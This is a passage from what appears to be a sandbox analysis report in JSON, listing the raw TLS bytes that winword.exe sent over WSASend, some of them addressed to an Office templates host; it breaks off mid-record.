  742. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xc4u9\\x12\\xa9\\xeb\\x9e\\xef\\x96\\xf9\\xeb\\x1b\\xf9\\x7f\\x0e8\\xc5\\x07\\xfd\\xa2\\x90<2\\xbar\\x1d\\x99d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  743. },
  744. {
  745. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\x81\\xb7\\xb9\\xca\\xd9\\xf8?pl\\xd9\\x89^\\xc6\\x8bk.\\x1a\\xd8\\x8a\\xb8]\\xd9\\x0c\\xa8o\\x17\\xedk\\xa5\\xba\\x8b\\xc0\\xdd\\xaf\\xcc\\xf4\\x1c\\x1fa\\x02zq\\x16+p;\\xec+\\xdca\\x0c;w\\xd9\\x12!\\x89y\\x9d\\x1d.\\xa9\\x8fd/\\xf1\\xff\\xaec\\xff\\x96q\\xab\\xcb\"\\x1a\\xf8\\x7f`dw^n\\x81\\x16\\x1f\\xca\\x88\\x90\\x93\\x861j\\xec\\xc4z\\xa2\\xc6\\xc6h\\x1f\\xbb.z\\x14f\\xd5\nn\\xb6;\\x91\\xfa\n+t\\x08+\\xa0l%z\\xb7\\xd2\\xbc\\x9a\\x0e\\xd3\\xdd\\x8c>\\xc8v\\xd0\\xa6\\xa7|\\xe0\\xa4m\\xe1\\x95l\\xe1\\xc2\\xf3\\x83\\x96i/)\\x98\\x03\\xf5\\x17\\xf9\\x12\\x9f\\x8c\\xd6\\xcept\\x11d\\xe6[&\\xa1\\x1d\\xca\\x1c\\xedbu\\xb9uus\\x1asnk3\\xa4m\\x91\\xdc$0j\r\\x96c\\x97\\x16\\x9b\\x89\\xe8\\xc85\\x19\\xa7!\\x9a\\xe5\\x8bn\\xb3e\\xace\\xc5\\xa9\\x9f\\xf7\\x14u2\\x0f\\x03d\\x02\\x87\\x8f\\x86\\xf0\\xa3-\\xa9a_\\x1a\\xad\\xec\\x01s\\x1f\\xeac\\xd3\\xc19px\\xfc\\xffs\\xef\\xe2"
  746. },
  747. {
  748. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8c\\xb9 >\\x92\\x0f]?\\xb2vwr\\xd3\\x15\\x0c$\\xd1e^@_\\xc1\\xe1\\xbe\\x02$\\xf63`\\xf2\\xd5\\x15\\x1f\\x8c\\x10\\xee\\x00m\\xb5\\xc9/\\x89,\\xc0\\x16\\xbb\\x16i\\xb9kz\\xbe\\xb3\\xeba\\x12\\xd7\\x97{17x\\xcew\\xa4\\xe0\\x90m\\xc3\\xbd\\xa2|\\xf9\\xdd\\xbc+a\n\\x94\\x81gzf\r\\xc5\\x06&t\\xbc\\xf6<\\xcb+\\x978\\xe9b|\\x87\\xe0b51\\xe25s($\\xbb\\xf2/\\x18\\x7fu\\\\xc2\\x94\\xd3sa's\\xf0z\\x98\\x0fr\\xfcc\\xbd\\xf0\\x96};\\x89\\x7f\\xe9\\x84\\x9ee_+\\xdc\\xe6\\x11(\\xb0\\xbe\\x8c$\\xa9\\xd9j\\x00\\xc0~m\\xe9\\xa2\\xf4\\xa4\\xa0\\xc9\"/\\xdf\\xfd\\xa9\\xd5\\x93\t\\xdc.`\\xda\\xcf\\x16\\x89\\xb2\\xbc\\xf6\\xa2\\xd4\\x80~\\xe6;\\xd2\\xb2g\\xb9\\x99z%jo\\x12*\\xa1\\xc9^\\xdb\\xa6\\xea=\\xaeh!3\\xc0\\x8fwe\\xbb\\xe8\\xf4\\x1c)\\x1a\r\\x80\\x15\\xca\\xc4\\xab\\xea5\\x95%\\x18\\x9b^*\\xde\\x8e\\x0e\\x9f\\xc4\\xe3.cz\\x07\\x91\\x9b\\xd4\\x11 \\xe2\\x08u"
  749. },
  750. {
  751. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x048\\xbc\\xd58\\x96&\\xfbn\\xbfx\\xb1\\xc8\\xe5\\x99r\\xc7}<\\x05&tf\\x08\\x8a0i\\x89\\xcfc\\xe8*\\xfa8-\\xcf1\\xa7\\xeb\\xd2\\x9b\\xd3\\xbe\\xb0t^\\xc0zk\\xaaq \\x06\\xbf\\x14\\x9a+\\xb8n\\xf3\\xf5g\\xa7\\xef+\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000x\\xeb\\xbb\\x8b\\x92\\x13&\\xea\\xb2\\xee9\\xabh\\x0c:1\\x08\\x18o$oza\\xf1\\xa4~\\xc2\\x03cr\\xca]\\xe7\\xb5yq\\xbc\\xed\\x16\\xae7w\\xe5\"\\x95\\xf9h\\x0e"
  752. },
  753. {
  754. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe\\xc2=\\x7f\\xbe\\x912\\xabd\\x1a\\x0f\\xbc`\\xa8\\xbad6\\xdbky\\x12\\xc3['\\x94\\x8c\\xed\\xc3\\x01\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  755. },
  756. {
  757. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0102pjvd\\x9e\\x97\\x85}#d\\xd2\\xf6w\\x91#\\xef\\xaa(\\xe2\r\\xfc\\xe9y\\xaekv\\xb1\\xbdvd.m\\x96\\x16w\\xdd\\xa6\\x08\\x1fqd\n\\xa82\r\\xc9\\xde\\xd3\\x84e\\xba\\xe9n\\x80\\xaf\\x17\\xb0\\x85\\x13)!p$q\\xd9[\\x9f2-\\x88\\xa2kh4\\xae\\x94]5\\xb1\\xcbqh\\xa4\\x9cu3\\xac\\x17\\xd8>@\\xe4\\xdcb\\x14\\xc6z\\xcb\\xf5\\x88r\\x1e\\xa0/\\x89\\xbat|g\\xa8!~\\x86\\xd5,\\xcb\\xc0\\x8b.\\xd3\\xc6a\\xc6}\\xa6\\xfa \\xc9\\xd2\\xf2\\xb0q\\x8ea\\xf93p\\x9ch\\xf9oi\\x9a\\xe6u\\xfb\\xc1\\x89\\x10\\x12\\x82\\xe29\\xeai\\x81v\\x82\\xe3\\x9b\\x98\\xe1\\xe3\\xc3=\\xcev\\x05\\x80\\xbd\\xd1\\xa2\\x06\\xcd\\xdc\\x18\\x19\\xb1\\xf4\\x10\\xc0`n\\xe7\\xc6\\x86\\x1b\\xabk\\xbf\\xd3\\xfc\\x84\\x8c=y\\x9a\\xc7s]n\\x11f\\x8fl4\\xec&\\xb0k\\x81u,^\"\\xfc\\xc0m\\x80\\x07\\xe7\\xca1\\xca\\xe3\\xde\\xc3\\xca\\xa2\\xb0\\xfd\\xe4\\xa1\\xc8\\xff\\xd1\\xf22e%\\x1c\\xee\\x07\\xbek\\x15\\xa2n\\xa7^"
  758. },
  759. {
  760. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbe(\"\\xfa{\\x93u\\xb5\\x14/\\xac\\x7f-\\xada\\xcf\\x91\\xfcy\\x9c\r\\xc1\\xa6k>\\x92\\x99f\\x12\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  761. },
  762. {
  763. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbel\\xd7\\xee\\x10j\\x1a\n\\x06nz\\x1a\\xfd\\xe4.\\xe2\\xe3\\x1b \\x88\\x993\\x17\\xcc\\xc0;\\xfa\\x10\\xcf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  764. },
  765. {
  766. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x01\\xb0\\xbeb\\xb6\\xd7\\xb7)p\\j\\x10l\\x8a\\xb2\\x9c\\x9b\\xd1z\\xbf%\\xc2\\xd5\\xa2\\xcf\\xe1\\x06\\x0cm\\xb2\\x9f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  767. },
  768. {
  769. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x048\\x97&\\xcc\\xa2:^\\xb8\\x91h\\xbc\\xdd\\x17\\x86\\x9c\\xf0\\xfc\\xc4\\xa7\\x1e\\x16nw\\xad\\xears\\x8d\\xc2\\x081\\xdf:,\\xa3\\x05b%\\xc5o}\\xaa4\\xb7\\xa0\\xd1t\\xd6_\\xbb\\xcd\\xccm?\\x15\\xf0i\\xa4\\xab\\fc\\x80l\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8fay\\xae\\xa4\\xe4\\xa3\\x84\\x98\\x8f\\xf1\\xfa\\xa8\\x1f\\x9a:\\xe8\\a\\x1b\\xccx7^j\\xe6[\\xf2\\x93\\x8b\\x11\\xfahb\\xb97\\xd1w\\x81\"\\xef\\xd4\\x1f\\xcd\\xe3\\xfb\\xa0\\xc2"
  770. },
  771. {
  772. "http_request": "winword.exe_WSASend_\\x9a\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc9\\x1b\\x92\\xcb\\xd1\\xad\\x97\\x87?\\x97\\xaf-\\xd5\\x08o\\x0bo\\x83\\xf4\\x13\\xf0\\xe8!a\\xe3\\xc4\\x96\\xa3\\x05\\xfe\\xd7\\xbb}\\x16|\\xed\\x8d\\x992\\xb7_=\\x9b\\xa25\\xeaz\\xd9\\xedi\\xc1$\\xf2\\x8c\\x97\\xadj\\xbb-f\\x16=\\xdd\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xae\\x9c\\xe9hv\\xc5\\xfc\\xf81\\xc5\\x96 \\xadc\\xc8#(\\x184\\xde\\xcex9\\xa6\\x1e\\xda\\xc5\\x8a\\xa1\\xa5v\\x8566\\xc0\\xc7\\x04\\xc5/7\\xc5\\xc6\\x10[:\\xdf\t\\xc0"
  773. },
  774. {
  775. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd3'\\xfa\\x95t\\x1e*\\xde}&b\\xad\\x81\\x92\\xe2d\\\\xb0\\xf4\\xcb\\xd3\\x92\\xd0ma\\xad\\x12\\x90jn0<\\xf6/\\xae\\x14\\xdc[n\\xb1\\x1f\\xd4d\\x89\\x05\\xbc\\x97\\xf0e7\\xc4\\xddz\\x1b\\xb2d\\x9b\\xd46\\xc7\\x0f\\xcc\\xa1\\xc7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0009\\xe3\\x85\\x12\\x8f\\xef\\xb3i\\x0c\\x90\\x16f;\\xa1|\\xe1\\x97o\\xd3f\\x86&\\x8az\\x1e\\xf2\\xee\\xd5q\\xa8\\xea\\x1f\\xaf\\xaaf\\x1a\\xd6r\\xbd6&wk\\xf1\\xb9\\x7fn]"
  776. },
  777. {
  778. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1ay\\xbb\\xda\\xf8\\xcd\\x0f\\xdcyi\\xf6y$#\\xc3am6:\\xcf\\xcaly\\x1f\\x8e\\xae~\\xcbmi\\xaef\\xc8\\x99\"\\x9c\\xea\\x89\\xbd\\x10{\\xedl\\xb7|\\x16\\xd5\\xcf?\\xe7\\x0e\\xfe\\xc0\\x7fn\\x1d\\x07\\x93\\xa5]=\\xd7j\\x89.n\\xec\\xe2l\\xe9}\\x8a\\xea\\xc0\\xdb!\\xb4\\x15\\xdc-\\xf3\\xc1\\xea\\x16rr\\xfe\\xef\rx\\x07\\xbc(y-\\x04\\x0b(\\xd7m\\xcc\\s\\x83+\\xf7\n\\x0b\\xade\\x14pj\\x8f\\xa5\\x1b\\xea\\x8ccg\\x14\\xc8\\xe0\\xa7\\xad>\\xf4)z/<b\\*q[u\\xf0\\xda\\^s7\\x1f\\x11gi\\x8a\\x92\\xe3\\xd9\\x81\\xb4\\xa6g\\xde\\xe0\\x10\\xcd\\xcb\\xcf\\x06\\xb4\\xf6d\\xee'\\xf1\\x8e\\x86dt\\x02\\xd4|\\xc4\\xd7\\x80;\\x9d\\xf0\\xf2\\x8c\\xf8\\xae\\xb8?\\x7f\\xe7\\xa4\\xad\\x83\\x10\\xa2\\xc4\\xd6s\\xe0eh:=h\\xce\\xf6\\xbdd\\xd7\\x88\\\\x15\\x7fk\\xdec\\xe7'\\x9e\\xb5\\xf2\\xb3\\x9c\\x18\\xdf\\x9d\\xfb\\xeb}\\xf9\\x1f\\x07\\x0e\\x80j\t\\xbf;\\xabo]\\xda3mhd\\x93&\\xcc\\xb2$\\xa4"
  779. },
  780. {
  781. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc4\\x1a>\\x99e\\xbe\\xb9va\\x03\\x9f\\x8er\\xc4\\xa10\\x83\\xeb\\xf8j\\x87\\xd2\\xf4\\xe1|j\\x0f(\\xf7\\xf6\\x94\\xd0\\xdb\\xe5.\\xb5\\xca~\\xdb\\x98wo\\x8c\\xe2\\x0e6\\xcc\\xf1\\xf1{\\xcd\\xe7\\xb3,0\\xe6\\xef\\x93w\\x0c\\x176:\\x1a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb1\\x07\\xa6k$[|2en\\xff\\x12\\xfa\\xa3\\x8b\\xe4\\xd4$\\x85\\xcd@\\x901\\xb5^\\xda\\xa8#\\xaf\\xb25w/\\xb6d\\xd5\\xc4y\\x10\\x0b!%\\x8b\\xa10\\xb4*\\xa1"
  782. },
  783. {
  784. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8bv\\xe8u\\xc6\\x85\\x10\\xe8k\\x1a\\xbds\\x1b{\\xb9_\\xffu\n\\x98b ip\\x1c\\x9c\\x06os\\xec*+\\xdbaaun\\x0e\\xf7\\xcd\\xe3\\xe0\\xcfl`\\xdab\\x18;(_}\\xdf\\8\\xdb\\xcf\\xcb\\xf9\\xae\\xbd\\xea\\x11\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdfob\\xc3l\\xde\\xae\\xd5^p#xz5\\xd5a\\x1d\\x84\\x04\\x8a\\xadk\\x7f#<\\xab\\xbd\\x85]\\xac\\x92vu|\\xa7\\xfft\\xcdtn}\\x857\\x92\\xf9\\xb96\""
  785. },
  786. {
  787. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\\x89\\x06\\xb1\\xd9\\xe4\\xde\\x08i\\xd9w\\xf2\\xc7v\\x7f\\xbb\\xe2a\t\\x88\\xc2j\\x80\\x8a2cry\\xf7\\xcb\\xd0\\x80w\\xfb\\xc0\\xd5\\xfe\\xbf\\xc2`r\\xc2\\xed\\xed\\xfc\\x99\\x8fn\\xf6sq\\xfb}\\x80\\xcc&\\xdf\\xad\\x8b\\x1a\\x1f\\xea#\\xe8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x85\\xfe\\xf3<g|\\x88\\x19\\xccq\\x0e\\x0b\\xaa}\\xdbrl\\x7f\\x06?\\xe5m1\\x17\\xbc\\xc0`\\xb0\\x10\\xf8\\xe3\\x9d\\x854\\xa0wu\\xce\\xba4\\xc5\\xd4o\\x0c_\\xa3;p"
  788. },
  789. {
  790. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xad\\xbd\\x9f\\x04\\xc5|\\xf2\\xdd\\xd3g\\xaf!\\xa0\\x92\\xc84x\\xe3\\x82\\xd2\\xd4\\xa5z\\xf1\\xd9\\xfa\\xbb\\x90\\xc3on\\xc4h'\\xf8y{@.\\xa4\\xe5\\xf0\\x81\\xe5\\x89\\x02\\xc6\\xc9\\x1a\\x8d\\xf9{\\x10]1\\xd7\\x8a\\xd0-\\x81\\x1e\\xb8\\xc1 \\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000]\\xf0j\\xff\\x8d\\x98\\x89dd\\xaa\\xca\\xaeq\\x98\\xf4\\xdb\\xfa\\xf6\\xcd\\xa2\\x99\\xab\\x7f\\xf3<p\\xa3g\\xf9\\xc0)\\xb6e\\xc1fgr\\x83\\xd6v`\\xc4\\x96\\xd2x<+\\xb5"
  791. },
  792. {
  793. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0101zvh\\x90\\xa3%\\xfe\\xca\\xd0\\xcb\\x1c0\\x7f\\xa5\\xb33\\xc0o\\xe6\\x07\\xdd<\\xf1\\x03\\xad\\xc6\\xca\\xa9\\x1f\\xd9\\xd2\\xa2\\xc6\\xbb\\x93\\xb1w\\x96\\xc1y\\xferut:\\xbb\\x1e00\\xa8\\xd4\\x93}\\xfe\\xda=q9\\xaf\\xce\\xc0o\\x8f\\xf0\\xef\\xc7\\xdb(\\xcd\\xb3'\\xaa`\\x1f\\x91c rd$\\xe5a\\xb7\\xda\\x1alnq\\xf2\"\\xad\\x83\\x1cw\\x15(\\xb8\\x1fu\\xd4\\xe1\\x00\\x05h\\xe7\\x8e~\\xee\\x82\\xcb\\xb4\\xbe\\x809n\\x1a\\xa8\\x85\\xb6y\\x84\\xcc\\x01\\xc3\\x1c\\x1e6\\x14\\x9f\\x8c\\xe1\\x1cikj\\xa0n\\xb6$q\\xfe\\xce@kt\\xb3=e\\x02\\xc1\\xab\\xe5_\ro\\xb62\\xb0k\\xee\\xc4~\\x02\\xa8\\\\xe7u=\\xc3%\\x98\\x94\\xde\\xa6\\x0b\\x88\\xab\\x16=3[\\xfa\\xfe\\xd5\\xc5lfh\\x05$x/\\xf7\\xfa[x\\xc0d\\x95w\\\\xb0\\xe9\\x94\\x81\\xbcd\\xa1-\\x8eg\\x0f\\x11dw?o\\x00\\x95\\x16\\x87\\x14(i#\\xfc\\xa9p\\xda\\x91\\x17\\q\\xf8\\x17n[rk\\x15\\xee6\\xf8\\xd7gr\\xd7\\xe1\\x02\\xfa"
  794. },
  795. {
  796. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010c\\x9d\\xb8w\\xfao\\x12y\\x07\ti^\\x89tg\\xc1m\n\\x88m#\\x9f*\\x90\\xe9\\xc0\\xbav`\\xcbz\\xbd\\x8c(\\xaf\\xefl\r\\xd9&\\xe4q\t\\x14\\xf2\\x91b\\xf6\\x83\\xf5<>\\xff\\xa7\\xf3\\xf2\\xd5i\\xf2\\xec`\\xea#\\x9e\\xf0\\xd1c\\xc8\\xc9\\xcc\\xd3\\xa2\\xa0\\x07\\xaa!p\\xfd\\x9d\\x1d>\\x94\\x1d;\\xa7y\\xd4\\xce{\\xd8j\\xb7\\xae\\xdf\\xa8\\x98\\x18\\x98\\x9b\\x04tv\\xcc\\xb2ff\\x12\\x9ec\\xfa\\x04\\x8a\\xe2\\x88\\x8aq\\x07\\xd85j\\xb3\\xb9\\x1d\\xcbpd\\x16@\\xdazil\\xdb\\xe7f\\xcc\\x9f\\x8f\\xae&\\xcf=\n\\xaf\\xde\\x00\\xa9{.\\xf0z\\xc8&\\x1f\\xa9\\xe2\\x03\\xf4ej\\xb1\\x88\\x8d\\x1ba#k\\xf7*\\x04\\xbco\\x14izn\\xbe\\x16\\xd3\\x9c1\\xd3\\xd4i|\\x00?\\x98\\xe5\\xf4\\xa3\\xda\\xd2\\xfb\\x94\\xc1*\\x97<\\xbb\\x04\\xf4\\x07b+\\x02\\x06?et\\xe0\\xa2\\xdf\\xa0~uw8\\x9f\\x92\\x14\\xdav\\xe8\\x89i\\xc0\\xa7\\x8f \\xc7\\xc0\\x8d/\\xab\\xee_\\x055z\\xe0\\xa34\\x9e[[\\x83tb'n"
  797. },
  798. {
  799. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8c\\x8au\\xd1u\\xa2\\xb4\\xe8.>(\\xae\\xc2j\\xe1.\\xfc\\xef\\xb8\\xfa\\xd2\\xfe\\xfd\\x19\\xd6m\\xd6\\x80\\x0e\\xa5\\xec\\xdd\\xe7\\xf4\\x94\\x8cw\\x83mve\\xe1m\\xe0l\\x86\\xbc.\\xaf\"\\x96f\\xa4\\xf8\\xa7-c\\x88\\xad\\x91\\x1c\\x88??\\xaf\\xb4`\\x9d9oy\\xea\\xb4\\x1e^\\x84\\x12\n\\xbf'a\\x16;9\\xe8\\xe5\\xf5\\xa9\\xeb\\xa4\\x8f\\xe5m\\x88\\x0e\\xdd\\x02\\x1ae}o\\xd6\\x17wr\\xad\\xd1\\xcb\\xbe\\x98\\x8bw&gz\\xef\\x15\\xcdy\\xc9\\xc1x\\xe2\\xe0\\xf8\\x05wl\\xef\\x01o~]\\x85e\\xb9.~#\\xe6iqq\\xc2\\xcc8\\xe3\\xec\\x8e\\xe2\\x94\\x11^\\xe3\"\\xeda\r\\xe5\\xad\\xe1\\xf6\\xa4\\xa6*\\x94\\x14\\x96`\\x9bf\\xf3b6\\xbd\\x11%4|:\\xe1\\xb89e\\xea\\xe3\\xf2\\x7fe\\xf8\\x8b\\x92\\xbb`5\\x8f\\xbd5\\xe4<\\xe1\\xe8f\\xe4\\xcd:\\x1b#\\xc8\\x0e\\xdeb(\\xd4j>\\x1e]\\xc5\\xfe@tkc?#f\\x11\\xbev:kl2\\xaek\\xf6\\x97\\x82\\xc1|\\xbdr\\x02\\xdaz#\\xca\\x86\\x8be"
  800. },
  801. {
  802. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010:\\xfdx\\xf3f\\x92\\x88\\xe04\\x11\\x80\\xfbn\\xa7\\xc5\n*\\xb7\\xaa\\xb2\\xc9\\xae\\x14\\xc5v\\x04\\x12]\\x95\\x1c\\xf3\\x9fe\\xb8\\x8f\\x9c\\x1f\\xa6l\\xa8\\x0e$ud\\x0f\\x81\\\\xd3\\xe2\\xba\\xd7\\xad\\x07\\xa4y\\x91c\nan\\xc31\\xfa\\xda\\xf4\"\\x15<\\x85nvzy\\xbc_*y;\\x94\\xfc\\xe9\\x8d\\xf9.4\\x82\\x92\\xc1\\xd8d\\x80\\xc3w\\x99\\xdch\\xda\\xe2\\xaf\\x86w \\x9a\\x03\\xa4\\xda\\xe0\"<\\xa5^\\x04h\\xb8\\xee\\xd2q\\x0ejl\\xe8a2ji\\xb6\\xe0\\xb2\\x0e\\xc0\\xa2\\x9c3zx\\x04\\xf7}\\x16\\xa0u\\xb8\\xb6=\\xe8ay4c\\xa1\\x8e\\x9e\r\\xd2r\\x9a\\x9c\\xa3h\\x8fb\\xe4\\xae\\x8a\\x0b!x\\xe9l\\x85\\xd2\\x11\\x86o\\x8e\\xd0\\xaf\\xcd(\\x06\\xeb\\xf3\\x15\\xd9\\x7f$-\\xff\\x85\\x84<_\\xae\\x82\\xfb\\x7fq}{\\xcf\\xceuw\\xb8\\xd7\\x18=\\x81*il\\xfc\\xd8\\xa2h\\\\xdecq\\xbfef\\xa2t;\\xa8\\xb2v\\xee\\xd1\\x1e\\xd8\\x82\\xbd\\x80\"^\\xd7\\xe5\\xff\\x9cr\\x93\\xe1\t\\x9b--\\x18>t"
  803. },
  804. {
  805. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010m{\\xa6m\"\\xfe?c\\xec\\x96\\xb6sm\\xcbk/#\\xc6\\xd1\\x0e\\xb2\\x92\\xa1ez\\x9f\\x19#\\x14\\xfbd\\x04u(}\\xf1s;\\xd1\\x97-nthn\\x946c\\x19\\x04\\x1f\\xd3\\xa5\\xca\\x0f\\xe8\\xf0c\\x1c\\\\xd0\\xc6\\x98\\xb7>\\xc0\\xe8\\x12\\xc8\\xf6<6\\x9c\\x9b\\xb39\\xa4<{}5\\x96=u\\xa1\\xd3\\xa5\\x97b\\xaa\\xfd\\xbd\\xac*]\\xef\\xd9\\x07\\x80d>j\\x1f\\xeb}b\\xb8\\xd8h\\x00\\x0b_ca\\x0bq\\x9a\\xc1s\\xb1\\x8a\\xa6\\xca\\\\x96q\\xc6\\xa9i\\xee\\x9c\\x1b\\x9a\\xbe\\x94\\xa1y\\x8b\\xa0\\x8a\\xa7\\xb3a\\x9c\\xeb\\x05\\xe8\\xf82\\xe8\\xf6\\xa6-\na\\x9cq\\o\\xd4i|\\xc7\\x10\\xc7\\\\x98\\xf5r\\xd2\\xe7\\x0e\\xae\\xb2*i\\xd2e\\xb7t\\xf6\\x90\\xa8f\\xb1\\xd8\\x90\\x1a\\x03\\x19\\xcb\\x9f8`\\xc2&\\xbf}-\\xe1`\\x84\\xd3\\xc8\r\\x1fm\\xb1\\xa7\\x82\\xb1\\x9e7a\\x8b\\x84\\xe3;g\\x9e\\x18\\x19\\xf4[\\xcb\\xfbo\\x81\\xe8\\xff\\x96`c\\xf8\\x86\\xd5e\\xfa\\x98$\\xce|\\xa6}\\x9e\\x9f\\xf7*w\\x9e^"
  806. },
  807. {
  808. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0107@\\xaf\\xb1\\x16\\xae\nh\\xbc\\xc6g\\xc5\\x1e\\x15qn\\x92\\xca\\xf3~x\\x1e\\xeb\\xb0n20\\x1b}\\xfa\\xc0\\xc9\n\\xcb\\x8b\\xd3 \\xccqe\\xe4\\x98\\xf5\\x83\\x1cd\\xf0a\\x8b\\xcd\\xf0^n\\x1c\\x1c\\xcfu\\x1e\\xe9\\x12]\\xc6\\xcb\\xe1\\xe3\\xfb\\xa3/y\\xec\\\\xbc\\xc48[4q^\\n\\xd7r;\\x94e\\xa7\\xf9\\xa6\\xe3\\xc7wj\\x9b\\x88\\x82st\\x92m\\x11\\x88\\xe5\\x82_t\\x8c\\x1bv\\xf6\\x91\\xb0\\xfc\\xf1,\\xb9\\xccg\\x1c\\xde\\x03\\x0be\\x85\\x16^*s:\\x9c\\xd4\\xf6\\xe09\\x1cao\\xe69\\xda|\\xe3q\\x9c\\xe6l*\\xebh\\xb1\\xe6\\x03\\xcd\\xd9\\x846\\xca\\x83\\x99l_\\x10\\xa6j\t\\xe5p-yh\\x9b\\xd2\\x99\\x02\\xe3h\\xd1\\xb1c\\xf4\\xb2}p\\xca\\x03\\x8b\\xb9u\\xa0+/(\\x81\\xff\\xd80\\xdb\\xd7\\x0e\r\\xc5\\xd6\\xe2&\\x02p\\xd6`\\xa5q\\x03\\x88\\xac\\xcc\\xe9\\xd4\\xedq\\xed{6\\xbe\\x05\\x9d\\x9d\\xe5y\\x1a\\xf5\\xe9x\r\r\\xca\\xcd\\xef\\xf0\\xf7b\\xc3\\xf7\\xac?f)*jl%\\x84\\x10b"
  809. },
  810. {
  811. "http_request": "winword.exe_WSASend_\\x00\\xd4\\xd8\\x11(3\\xbd\\x11\\x857\\x041\\xacd\\xe6oc8-\\x1a\\xae\\x9f\\xee\\xec\\x9b\\xf1uc\\x8b\\xead\\x93\\x80\\x90l\\xb0\\x85\\xbb{\\x8b\\xe2x\\x14u!\\x19\\x1f\\xf04\\xc9\\x03\\x8a\\xfe\\xfe\\xc1\\xa8\\xa2\\xa3e\\xd3\\x1cg\\xdffn\\xd9#t\\xc7\\xce\\x85gs\\xad\\xf8\\xb2b_c\\x94\\x12\\xd4\\x91\\xe2;\\xe6\r\\x8e2\\x85\\xa9|:\\x07\\x94\\x8b\\x15\\xfck\\x82\\xc3\\xd6\r$\\x0b2\\xdb\\x9b\\x02\\xd7i)\\x8d{\\xcd\\xef}\\xd0@\\xef\\xf9r\\xe4\\xc7!?*\n0\\xe1\\xad\\xe9vavo\\x0e7\\xa9\\xf4\\x01\\xb2\\xaa\\x8f\\x01\\xe9;\\x8d\\xe9\\xf9\\xbe0>\\x9e\\x82\\x1b\\x14\"c\\x121\\xd3.}\\xd2\\x14\\xec\\xf8n-\\x06\\xbcw\\xe7s\\